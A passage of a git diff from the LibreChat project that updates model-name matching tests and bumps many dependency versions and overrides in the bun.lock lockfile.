+ expect(matchModelName('gpt-5.4-thinking')).toBe('gpt-5.4');
+ expect(matchModelName('gpt-5.4-pro')).toBe('gpt-5.4-pro');
});
it('should return the input model name if no match is found - Google models', () => {
@@ -617,11 +836,6 @@ describe('matchModelName', () => {
'unknown-google-model',
);
});
-
- it('should return the closest matching key for partial matches - Google models', () => {
- expect(matchModelName('code-', EModelEndpoint.google)).toBe('code-');
- expect(matchModelName('chat-', EModelEndpoint.google)).toBe('chat-');
- });
});
describe('Meta Models Tests', () => {
diff --git a/bun.lock b/bun.lock
index c6a5dd01a1..39d9641ec4 100644
--- a/bun.lock
+++ b/bun.lock
@@ -7,7 +7,7 @@
"devDependencies": {
"@axe-core/playwright": "^4.10.1",
"@eslint/compat": "^1.2.6",
- "@eslint/eslintrc": "^3.3.1",
+ "@eslint/eslintrc": "^3.3.4",
"@eslint/js": "^9.20.0",
"@playwright/test": "^1.56.1",
"@types/react-virtualized": "^9.22.0",
@@ -31,30 +31,32 @@
"lint-staged": "^15.4.3",
"prettier": "^3.5.0",
"prettier-plugin-tailwindcss": "^0.6.11",
+ "turbo": "^2.8.12",
"typescript-eslint": "^8.24.0",
},
},
"api": {
"name": "@librechat/backend",
- "version": "0.8.300",
+ "version": "0.8.3",
"dependencies": {
- "@aws-sdk/client-bedrock-runtime": "^3.941.0",
- "@aws-sdk/client-s3": "^3.758.0",
+ "@anthropic-ai/vertex-sdk": "^0.14.3",
+ "@aws-sdk/client-bedrock-runtime": "^3.980.0",
+ "@aws-sdk/client-s3": "^3.980.0",
"@aws-sdk/s3-request-presigner": "^3.758.0",
"@azure/identity": "^4.7.0",
"@azure/search-documents": "^12.0.0",
- "@azure/storage-blob": "^12.27.0",
- "@googleapis/youtube": "^20.0.0",
+ "@azure/storage-blob": "^12.30.0",
+ "@google/genai": "^1.19.0",
"@keyv/redis": "^4.3.3",
- "@langchain/core": "^0.3.79",
- "@librechat/agents": "^3.0.50",
+ "@langchain/core": "^0.3.80",
+ "@librechat/agents": "^3.1.55",
"@librechat/api": "*",
"@librechat/data-schemas": "*",
"@microsoft/microsoft-graph-client": "^3.0.7",
- "@modelcontextprotocol/sdk": "^1.24.3",
+ "@modelcontextprotocol/sdk": "^1.27.1",
"@node-saml/passport-saml": "^5.1.0",
"@smithy/node-http-handler": "^4.4.5",
- "axios": "^1.12.1",
+ "axios": "^1.13.5",
"bcryptjs": "^2.4.3",
"compression": "^1.8.1",
"connect-redis": "^8.1.0",
@@ -64,9 +66,9 @@
"dedent": "^1.5.3",
"dotenv": "^16.0.3",
"eventsource": "^3.0.2",
- "express": "^5.1.0",
+ "express": "^5.2.1",
"express-mongo-sanitize": "^2.2.0",
- "express-rate-limit": "^8.2.1",
+ "express-rate-limit": "^8.3.0",
"express-session": "^1.18.2",
"express-static-gzip": "^2.2.0",
"file-type": "^18.7.0",
@@ -82,13 +84,15 @@
"keyv-file": "^5.1.2",
"klona": "^2.0.6",
"librechat-data-provider": "*",
- "lodash": "^4.17.21",
+ "lodash": "^4.17.23",
+ "mammoth": "^1.11.0",
+ "mathjs": "^15.1.0",
"meilisearch": "^0.38.0",
"memorystore": "^1.6.7",
"mime": "^3.0.0",
"module-alias": "^2.2.3",
"mongoose": "^8.12.1",
- "multer": "^2.0.2",
+ "multer": "^2.1.1",
"nanoid": "^3.3.7",
"node-fetch": "^2.7.0",
"nodemailer": "^7.0.11",
@@ -104,15 +108,16 @@
"passport-jwt": "^4.0.1",
"passport-ldapauth": "^3.0.1",
"passport-local": "^1.0.0",
+ "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
"sharp": "^0.33.5",
"tiktoken": "^1.0.15",
"traverse": "^0.6.7",
"ua-parser-js": "^1.0.36",
- "undici": "^7.10.0",
+ "undici": "^7.18.2",
"winston": "^3.11.0",
"winston-daily-rotate-file": "^5.0.0",
- "youtube-transcript": "^1.2.1",
+ "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
"zod": "^3.22.4",
},
"devDependencies": {
@@ -124,7 +129,7 @@
},
"client": {
"name": "@librechat/frontend",
- "version": "0.8.300",
+ "version": "0.8.3",
"dependencies": {
"@ariakit/react": "^0.4.15",
"@ariakit/react-core": "^0.4.17",
@@ -135,11 +140,12 @@
"@librechat/client": "*",
"@marsidev/react-turnstile": "^1.1.0",
"@mcp-ui/client": "^5.7.0",
+ "@monaco-editor/react": "^4.7.0",
"@radix-ui/react-accordion": "^1.1.2",
- "@radix-ui/react-alert-dialog": "^1.1.15",
+ "@radix-ui/react-alert-dialog": "1.0.2",
"@radix-ui/react-checkbox": "^1.0.3",
"@radix-ui/react-collapsible": "^1.0.3",
- "@radix-ui/react-dialog": "^1.1.15",
+ "@radix-ui/react-dialog": "1.0.2",
"@radix-ui/react-dropdown-menu": "^2.1.1",
"@radix-ui/react-hover-card": "^1.0.5",
"@radix-ui/react-icons": "^1.3.0",
@@ -174,9 +180,10 @@
"jotai": "^2.12.5",
"js-cookie": "^3.0.5",
"librechat-data-provider": "*",
- "lodash": "^4.17.21",
+ "lodash": "^4.17.23",
"lucide-react": "^0.394.0",
"match-sorter": "^8.1.0",
+ "mermaid": "^11.13.0",
"micromark-extension-llm-math": "^3.1.0",
"qrcode.react": "^4.2.0",
"rc-input-number": "^7.4.2",
@@ -189,10 +196,9 @@
"react-gtm-module": "^2.0.11",
"react-hook-form": "^7.43.9",
"react-i18next": "^15.4.0",
- "react-lazy-load-image-component": "^1.6.0",
"react-markdown": "^9.0.1",
"react-resizable-panels": "^3.0.6",
- "react-router-dom": "^6.11.2",
+ "react-router-dom": "^6.30.3",
"react-speech-recognition": "^3.10.0",
"react-textarea-autosize": "^8.4.0",
"react-transition-group": "^4.4.5",
@@ -206,9 +212,11 @@
"remark-math": "^6.0.0",
"remark-supersub": "^1.0.0",
"sse.js": "^2.5.0",
+ "swr": "^2.3.8",
"tailwind-merge": "^1.9.1",
"tailwindcss-animate": "^1.0.5",
"tailwindcss-radix": "^2.8.0",
+ "ts-md5": "^1.3.1",
"zod": "^3.22.4",
},
"devDependencies": {
@@ -216,6 +224,7 @@
"@babel/preset-env": "^7.22.15",
"@babel/preset-react": "^7.22.15",
"@babel/preset-typescript": "^7.22.15",
+ "@happy-dom/jest-environment": "^20.8.3",
"@tanstack/react-query-devtools": "^4.29.0",
"@testing-library/dom": "^9.3.0",
"@testing-library/jest-dom": "^5.16.5",
@@ -224,10 +233,10 @@
"@types/jest": "^29.5.14",
"@types/js-cookie": "^3.0.6",
"@types/lodash": "^4.17.15",
- "@types/node": "^20.3.0",
+ "@types/node": "^20.19.35",
"@types/react": "^18.2.11",
"@types/react-dom": "^18.2.4",
- "@vitejs/plugin-react": "^4.3.4",
+ "@vitejs/plugin-react": "^5.1.4",
"autoprefixer": "^10.4.20",
"babel-plugin-replace-ts-export-assignment": "^0.0.2",
"babel-plugin-root-import": "^6.6.0",
@@ -238,23 +247,23 @@
"identity-obj-proxy": "^3.0.0",
"jest": "^30.2.0",
"jest-canvas-mock": "^2.5.2",
- "jest-environment-jsdom": "^29.7.0",
+ "jest-environment-jsdom": "^30.2.0",
"jest-file-loader": "^1.0.3",
"jest-junit": "^16.0.0",
+ "monaco-editor": "^0.55.1",
"postcss": "^8.4.31",
- "postcss-loader": "^7.1.0",
- "postcss-preset-env": "^8.2.0",
+ "postcss-preset-env": "^11.2.0",
"tailwindcss": "^3.4.1",
"typescript": "^5.3.3",
- "vite": "^6.4.1",
+ "vite": "^7.3.1",
"vite-plugin-compression2": "^2.2.1",
- "vite-plugin-node-polyfills": "^0.23.0",
- "vite-plugin-pwa": "^0.21.2",
+ "vite-plugin-node-polyfills": "^0.25.0",
+ "vite-plugin-pwa": "^1.2.0",
},
},
"packages/api": {
"name": "@librechat/api",
- "version": "1.7.23",
+ "version": "1.7.25",
"devDependencies": {
"@babel/preset-env": "^7.21.5",
"@babel/preset-react": "^7.18.6",
@@ -266,7 +275,6 @@
"@rollup/plugin-replace": "^5.0.5",
"@rollup/plugin-typescript": "^12.1.2",
"@types/bun": "^1.2.15",
- "@types/diff": "^6.0.0",
"@types/express": "^5.0.0",
"@types/express-session": "^1.18.2",
"@types/jest": "^29.5.2",
@@ -279,49 +287,60 @@
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"librechat-data-provider": "*",
+ "mammoth": "^1.11.0",
"mongodb": "^6.14.2",
- "rimraf": "^6.1.2",
- "rollup": "^4.22.4",
+ "pdfjs-dist": "^5.4.624",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"ts-node": "^10.9.2",
"typescript": "^5.0.4",
+ "xlsx": "https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz",
},
"peerDependencies": {
- "@aws-sdk/client-s3": "^3.758.0",
+ "@anthropic-ai/vertex-sdk": "^0.14.3",
+ "@aws-sdk/client-bedrock-runtime": "^3.970.0",
+ "@aws-sdk/client-s3": "^3.980.0",
"@azure/identity": "^4.7.0",
"@azure/search-documents": "^12.0.0",
- "@azure/storage-blob": "^12.27.0",
+ "@azure/storage-blob": "^12.30.0",
+ "@google/genai": "^1.19.0",
"@keyv/redis": "^4.3.3",
- "@langchain/core": "^0.3.79",
- "@librechat/agents": "^3.0.50",
+ "@langchain/core": "^0.3.80",
+ "@librechat/agents": "^3.1.55",
"@librechat/data-schemas": "*",
- "@modelcontextprotocol/sdk": "^1.24.3",
- "axios": "^1.12.1",
+ "@modelcontextprotocol/sdk": "^1.27.1",
+ "@smithy/node-http-handler": "^4.4.5",
+ "axios": "^1.13.5",
"connect-redis": "^8.1.0",
- "diff": "^7.0.0",
"eventsource": "^3.0.2",
"express": "^5.1.0",
"express-session": "^1.18.2",
"firebase": "^11.0.2",
"form-data": "^4.0.4",
+ "google-auth-library": "^9.15.1",
+ "https-proxy-agent": "^7.0.6",
"ioredis": "^5.3.2",
"js-yaml": "^4.1.1",
"jsonwebtoken": "^9.0.0",
"keyv": "^5.3.2",
"keyv-file": "^5.1.2",
"librechat-data-provider": "*",
+ "mammoth": "^1.11.0",
+ "mathjs": "^15.1.0",
"memorystore": "^1.6.7",
"mongoose": "^8.12.1",
"node-fetch": "2.7.0",
+ "pdfjs-dist": "^5.4.624",
"rate-limit-redis": "^4.2.0",
"tiktoken": "^1.0.15",
- "undici": "^7.10.0",
+ "undici": "^7.18.2",
"zod": "^3.22.4",
},
},
"packages/client": {
"name": "@librechat/client",
- "version": "0.4.52",
+ "version": "0.4.54",
"devDependencies": {
"@babel/core": "^7.28.5",
"@babel/preset-env": "^7.28.5",
@@ -351,8 +370,8 @@
"react": "^18.2.0",
"react-dom": "^18.2.0",
"react-i18next": "^15.4.0",
- "rimraf": "^6.1.2",
- "rollup": "^4.0.0",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-postcss": "^4.0.2",
"rollup-plugin-typescript2": "^0.35.0",
@@ -366,10 +385,10 @@
"@dicebear/core": "^9.2.2",
"@headlessui/react": "^2.1.2",
"@radix-ui/react-accordion": "^1.2.11",
- "@radix-ui/react-alert-dialog": "^1.1.15",
+ "@radix-ui/react-alert-dialog": "1.0.2",
"@radix-ui/react-checkbox": "^1.0.3",
"@radix-ui/react-collapsible": "^1.1.11",
- "@radix-ui/react-dialog": "^1.1.15",
+ "@radix-ui/react-dialog": "1.0.2",
"@radix-ui/react-dropdown-menu": "^2.1.1",
"@radix-ui/react-hover-card": "^1.0.5",
"@radix-ui/react-icons": "^1.3.0",
@@ -409,9 +428,9 @@
},
"packages/data-provider": {
"name": "librechat-data-provider",
- "version": "0.8.300",
+ "version": "0.8.302",
"dependencies": {
- "axios": "^1.12.1",
+ "axios": "^1.13.5",
"dayjs": "^1.11.13",
"js-yaml": "^4.1.1",
"zod": "^3.22.4",
@@ -420,7 +439,6 @@
"@babel/preset-env": "^7.21.5",
"@babel/preset-react": "^7.18.6",
"@babel/preset-typescript": "^7.21.0",
- "@langchain/core": "^0.3.62",
"@rollup/plugin-alias": "^5.1.0",
"@rollup/plugin-commonjs": "^29.0.0",
"@rollup/plugin-json": "^6.1.0",
@@ -435,8 +453,8 @@
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"openapi-types": "^12.1.3",
- "rimraf": "^6.1.2",
- "rollup": "^4.22.4",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-typescript2": "^0.35.0",
"typescript": "^5.0.4",
@@ -447,7 +465,7 @@
},
"packages/data-schemas": {
"name": "@librechat/data-schemas",
- "version": "0.0.36",
+ "version": "0.0.38",
"devDependencies": {
"@rollup/plugin-alias": "^5.1.0",
"@rollup/plugin-commonjs": "^29.0.0",
@@ -456,15 +474,14 @@
"@rollup/plugin-replace": "^5.0.5",
"@rollup/plugin-terser": "^0.4.4",
"@rollup/plugin-typescript": "^12.1.2",
- "@types/diff": "^6.0.0",
"@types/express": "^5.0.0",
"@types/jest": "^29.5.2",
"@types/node": "^20.3.0",
"jest": "^30.2.0",
"jest-junit": "^16.0.0",
"mongodb-memory-server": "^10.1.4",
- "rimraf": "^6.1.2",
- "rollup": "^4.22.4",
+ "rimraf": "^6.1.3",
+ "rollup": "^4.34.9",
"rollup-plugin-peer-deps-external": "^2.2.4",
"rollup-plugin-typescript2": "^0.35.0",
"ts-node": "^10.9.2",
@@ -474,7 +491,7 @@
"jsonwebtoken": "^9.0.2",
"klona": "^2.0.6",
"librechat-data-provider": "*",
- "lodash": "^4.17.21",
+ "lodash": "^4.17.23",
"meilisearch": "^0.38.0",
"mongoose": "^8.12.1",
"nanoid": "^3.3.7",
@@ -484,11 +501,20 @@
},
},
"overrides": {
+ "@anthropic-ai/sdk": "0.73.0",
+ "@hono/node-server": "^1.19.10",
"axios": "1.12.1",
"elliptic": "^6.6.1",
+ "fast-xml-parser": "5.3.8",
"form-data": "^4.0.4",
+ "hono": "^4.12.4",
"katex": "^0.16.21",
+ "langsmith": "0.4.12",
"mdast-util-gfm-autolink-literal": "2.0.0",
+ "serialize-javascript": "^7.0.3",
+ "svgo": "^2.8.2",
+ "tslib": "^2.8.1",
+ "underscore": "1.13.8",
},
"packages": {
"@aashutoshrathi/word-wrap": ["@aashutoshrathi/word-wrap@1.2.6", "", {}, "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA=="],
@@ -497,7 +523,11 @@
"@alloc/quick-lru": ["@alloc/quick-lru@5.2.0", "", {}, "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw=="],
- "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.65.0", "", { "dependencies": { "json-schema-to-ts": "^3.1.1" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" }, "bin": { "anthropic-ai-sdk": "bin/cli" } }, "sha512-zIdPOcrCVEI8t3Di40nH4z9EoeyGZfXbYSvWdDLsB/KkaSYMnEgC7gmcgWu83g2NTn1ZTpbMvpdttWDGGIk6zw=="],
+ "@antfu/install-pkg": ["@antfu/install-pkg@1.1.0", "", { "dependencies": { "package-manager-detector": "^1.3.0", "tinyexec": "^1.0.1" } }, "sha512-MGQsmw10ZyI+EJo45CdSER4zEb+p31LpDAFp2Z3gkSd1yqVZGi0Ebx++YTEMonJy4oChEMLsxZ64j8FH6sSqtQ=="],
+
+ "@anthropic-ai/sdk": ["@anthropic-ai/sdk@0.73.0", "", { "dependencies": { "json-schema-to-ts": "^3.1.1" }, "peerDependencies": { "zod": "^3.25.0 || ^4.0.0" }, "optionalPeers": ["zod"], "bin": { "anthropic-ai-sdk": "bin/cli" } }, "sha512-URURVzhxXGJDGUGFunIOtBlSl7KWvZiAAKY/ttTkZAkXT9bTPqdk2eK0b8qqSxXpikh3QKPnPYpiyX98zf5ebw=="],
+
+ "@anthropic-ai/vertex-sdk": ["@anthropic-ai/vertex-sdk@0.14.4", "", { "dependencies": { "@anthropic-ai/sdk": ">=0.50.3 <1", "google-auth-library": "^9.4.2" } }, "sha512-BZUPRWghZxfSFtAxU563wH+jfWBPoedAwsVxG35FhmNsjeV8tyfN+lFriWhCpcZApxA4NdT6Soov+PzfnxxD5g=="],
"@apideck/better-ajv-errors": ["@apideck/better-ajv-errors@0.3.6", "", { "dependencies": { "json-schema": "^0.4.0", "jsonpointer": "^5.0.0", "leven": "^3.1.0" }, "peerDependencies": { "ajv": ">=8" } }, "sha512-P+ZygBLZtkp0qqOAJJVX4oX/sFo5JR3eBWwwuqHHhK0GIgQOKWrAfiAaWX0aArHkRWHMuggFEgAZNxVPwPZYaA=="],
@@ -525,19 +555,21 @@
"@aws-sdk/client-bedrock-agent-runtime": ["@aws-sdk/client-bedrock-agent-runtime@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/credential-provider-node": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/eventstream-serde-browser": "^4.2.4", "@smithy/eventstream-serde-config-resolver": "^4.3.4", "@smithy/eventstream-serde-node": "^4.2.4", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-k2UeG/+Ka74jztHDzYNrpNLDSsMCst+ph3+e7uAX5Jmo40tVKa+sVu4DkV3BIXuktc6jqM1ewtfPNug79kN6JQ=="],
- "@aws-sdk/client-bedrock-runtime": ["@aws-sdk/client-bedrock-runtime@3.952.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.947.0", "@aws-sdk/credential-provider-node": "3.952.0", "@aws-sdk/eventstream-handler-node": "3.936.0", "@aws-sdk/middleware-eventstream": "3.936.0", "@aws-sdk/middleware-host-header": "3.936.0", "@aws-sdk/middleware-logger": "3.936.0", "@aws-sdk/middleware-recursion-detection": "3.948.0", "@aws-sdk/middleware-user-agent": "3.947.0", "@aws-sdk/middleware-websocket": "3.936.0", "@aws-sdk/region-config-resolver": "3.936.0", "@aws-sdk/token-providers": "3.952.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@aws-sdk/util-user-agent-browser": "3.936.0", "@aws-sdk/util-user-agent-node": "3.947.0", "@smithy/config-resolver": "^4.4.3", "@smithy/core": "^3.18.7", "@smithy/eventstream-serde-browser": "^4.2.5", "@smithy/eventstream-serde-config-resolver": "^4.3.5", "@smithy/eventstream-serde-node": "^4.2.5", "@smithy/fetch-http-handler": "^5.3.6", "@smithy/hash-node": "^4.2.5", "@smithy/invalid-dependency": "^4.2.5", "@smithy/middleware-content-length": "^4.2.5", "@smithy/middleware-endpoint": "^4.3.14", "@smithy/middleware-retry": "^4.4.14", "@smithy/middleware-serde": "^4.2.6", "@smithy/middleware-stack": "^4.2.5", "@smithy/node-config-provider": "^4.3.5", "@smithy/node-http-handler": "^4.4.5", "@smithy/protocol-http": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.13", "@smithy/util-defaults-mode-node": "^4.2.16", "@smithy/util-endpoints": "^3.2.5", "@smithy/util-middleware": "^4.2.5", "@smithy/util-retry": "^4.2.5", "@smithy/util-stream": "^4.5.6", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Xc1xqIz/OdFd23UQ6cvROD+3tfvDpp5dabMqUYXFiKlk5psMNM9xhzLwWK7DE1tr1ra/dui77w8JOiLA1dC7AA=="],
+ "@aws-sdk/client-bedrock-runtime": ["@aws-sdk/client-bedrock-runtime@3.1004.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "^3.973.18", "@aws-sdk/credential-provider-node": "^3.972.18", "@aws-sdk/eventstream-handler-node": "^3.972.10", "@aws-sdk/middleware-eventstream": "^3.972.7", "@aws-sdk/middleware-host-header": "^3.972.7", "@aws-sdk/middleware-logger": "^3.972.7", "@aws-sdk/middleware-recursion-detection": "^3.972.7", "@aws-sdk/middleware-user-agent": "^3.972.19", "@aws-sdk/middleware-websocket": "^3.972.12", "@aws-sdk/region-config-resolver": "^3.972.7", "@aws-sdk/token-providers": "3.1004.0", "@aws-sdk/types": "^3.973.5", "@aws-sdk/util-endpoints": "^3.996.4", "@aws-sdk/util-user-agent-browser": "^3.972.7", "@aws-sdk/util-user-agent-node": "^3.973.4", "@smithy/config-resolver": "^4.4.10", "@smithy/core": "^3.23.8", "@smithy/eventstream-serde-browser": "^4.2.11", "@smithy/eventstream-serde-config-resolver": "^4.3.11", "@smithy/eventstream-serde-node": "^4.2.11", "@smithy/fetch-http-handler": "^5.3.13", "@smithy/hash-node": "^4.2.11", "@smithy/invalid-dependency": "^4.2.11", "@smithy/middleware-content-length": "^4.2.11", "@smithy/middleware-endpoint": "^4.4.22", "@smithy/middleware-retry": "^4.4.39", "@smithy/middleware-serde": "^4.2.12", "@smithy/middleware-stack": "^4.2.11", "@smithy/node-config-provider": "^4.3.11", "@smithy/node-http-handler": "^4.4.14", "@smithy/protocol-http": "^5.3.11", "@smithy/smithy-client": "^4.12.2", "@smithy/types": "^4.13.0", "@smithy/url-parser": "^4.2.11", "@smithy/util-base64": "^4.3.2", "@smithy/util-body-length-browser": "^4.2.2", "@smithy/util-body-length-node": "^4.2.3", "@smithy/util-defaults-mode-browser": "^4.3.38", "@smithy/util-defaults-mode-node": "^4.2.41", "@smithy/util-endpoints": "^3.3.2", "@smithy/util-middleware": "^4.2.11", "@smithy/util-retry": "^4.2.11", "@smithy/util-stream": "^4.5.17", "@smithy/util-utf8": "^4.2.2", "tslib": "^2.6.2" } }, "sha512-t8cl+bPLlHZQD2Sw1a4hSLUybqJZU71+m8znkyeU8CHntFqEp2mMbuLKdHKaAYQ1fAApXMsvzenCAkDzNeeJlw=="],
"@aws-sdk/client-cognito-identity": ["@aws-sdk/client-cognito-identity@3.623.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/client-sso-oidc": "3.623.0", "@aws-sdk/core": "3.623.0", "@aws-sdk/credential-provider-node": "3.623.0", "@aws-sdk/middleware-host-header": "3.620.0", "@aws-sdk/middleware-logger": "3.609.0", "@aws-sdk/middleware-recursion-detection": "3.620.0", "@aws-sdk/middleware-user-agent": "3.620.0", "@aws-sdk/region-config-resolver": "3.614.0", "@aws-sdk/types": "3.609.0", "@aws-sdk/util-endpoints": "3.614.0", "@aws-sdk/util-user-agent-browser": "3.609.0", "@aws-sdk/util-user-agent-node": "3.614.0", "@smithy/config-resolver": "^3.0.5", "@smithy/core": "^2.3.2", "@smithy/fetch-http-handler": "^3.2.4", "@smithy/hash-node": "^3.0.3", "@smithy/invalid-dependency": "^3.0.3", "@smithy/middleware-content-length": "^3.0.5", "@smithy/middleware-endpoint": "^3.1.0", "@smithy/middleware-retry": "^3.0.14", "@smithy/middleware-serde": "^3.0.3", "@smithy/middleware-stack": "^3.0.3", "@smithy/node-config-provider": "^3.1.4", "@smithy/node-http-handler": "^3.1.4", "@smithy/protocol-http": "^4.1.0", "@smithy/smithy-client": "^3.1.12", "@smithy/types": "^3.3.0", "@smithy/url-parser": "^3.0.3", "@smithy/util-base64": "^3.0.0", "@smithy/util-body-length-browser": "^3.0.0", "@smithy/util-body-length-node": "^3.0.0", "@smithy/util-defaults-mode-browser": "^3.0.14", "@smithy/util-defaults-mode-node": "^3.0.14", "@smithy/util-endpoints": "^2.0.5", "@smithy/util-middleware": "^3.0.3", "@smithy/util-retry": "^3.0.3", "@smithy/util-utf8": "^3.0.0", "tslib": "^2.6.2" } }, "sha512-kGYnTzXTMGdjko5+GZ1PvWvfXA7quiOp5iMo5gbh5b55pzIdc918MHN0pvaqplVGWYlaFJF4YzxUT5Nbxd7Xeg=="],
"@aws-sdk/client-kendra": ["@aws-sdk/client-kendra@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/credential-provider-node": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-DWyNlC6BFhzoDkyKZ3xv0BC/xcXF3Tpq6j6Z42DXO9KEUjiGmC3se9l/GFEVtRLh/DR4p7cTJsxzA2QNuthRNg=="],
- "@aws-sdk/client-s3": ["@aws-sdk/client-s3@3.758.0", "", { "dependencies": { "@aws-crypto/sha1-browser": "5.2.0", "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.758.0", "@aws-sdk/credential-provider-node": "3.758.0", "@aws-sdk/middleware-bucket-endpoint": "3.734.0", "@aws-sdk/middleware-expect-continue": "3.734.0", "@aws-sdk/middleware-flexible-checksums": "3.758.0", "@aws-sdk/middleware-host-header": "3.734.0", "@aws-sdk/middleware-location-constraint": "3.734.0", "@aws-sdk/middleware-logger": "3.734.0", "@aws-sdk/middleware-recursion-detection": "3.734.0", "@aws-sdk/middleware-sdk-s3": "3.758.0", "@aws-sdk/middleware-ssec": "3.734.0", "@aws-sdk/middleware-user-agent": "3.758.0", "@aws-sdk/region-config-resolver": "3.734.0", "@aws-sdk/signature-v4-multi-region": "3.758.0", "@aws-sdk/types": "3.734.0", "@aws-sdk/util-endpoints": "3.743.0", "@aws-sdk/util-user-agent-browser": "3.734.0", "@aws-sdk/util-user-agent-node": "3.758.0", "@aws-sdk/xml-builder": "3.734.0", "@smithy/config-resolver": "^4.0.1", "@smithy/core": "^3.1.5", "@smithy/eventstream-serde-browser": "^4.0.1", "@smithy/eventstream-serde-config-resolver": "^4.0.1", "@smithy/eventstream-serde-node": "^4.0.1", "@smithy/fetch-http-handler": "^5.0.1", "@smithy/hash-blob-browser": "^4.0.1", "@smithy/hash-node": "^4.0.1", "@smithy/hash-stream-node": "^4.0.1", "@smithy/invalid-dependency": "^4.0.1", "@smithy/md5-js": "^4.0.1", "@smithy/middleware-content-length": "^4.0.1", "@smithy/middleware-endpoint": "^4.0.6", "@smithy/middleware-retry": "^4.0.7", "@smithy/middleware-serde": "^4.0.2", "@smithy/middleware-stack": "^4.0.1", "@smithy/node-config-provider": "^4.0.1", "@smithy/node-http-handler": "^4.0.3", "@smithy/protocol-http": "^5.0.1", "@smithy/smithy-client": "^4.1.6", 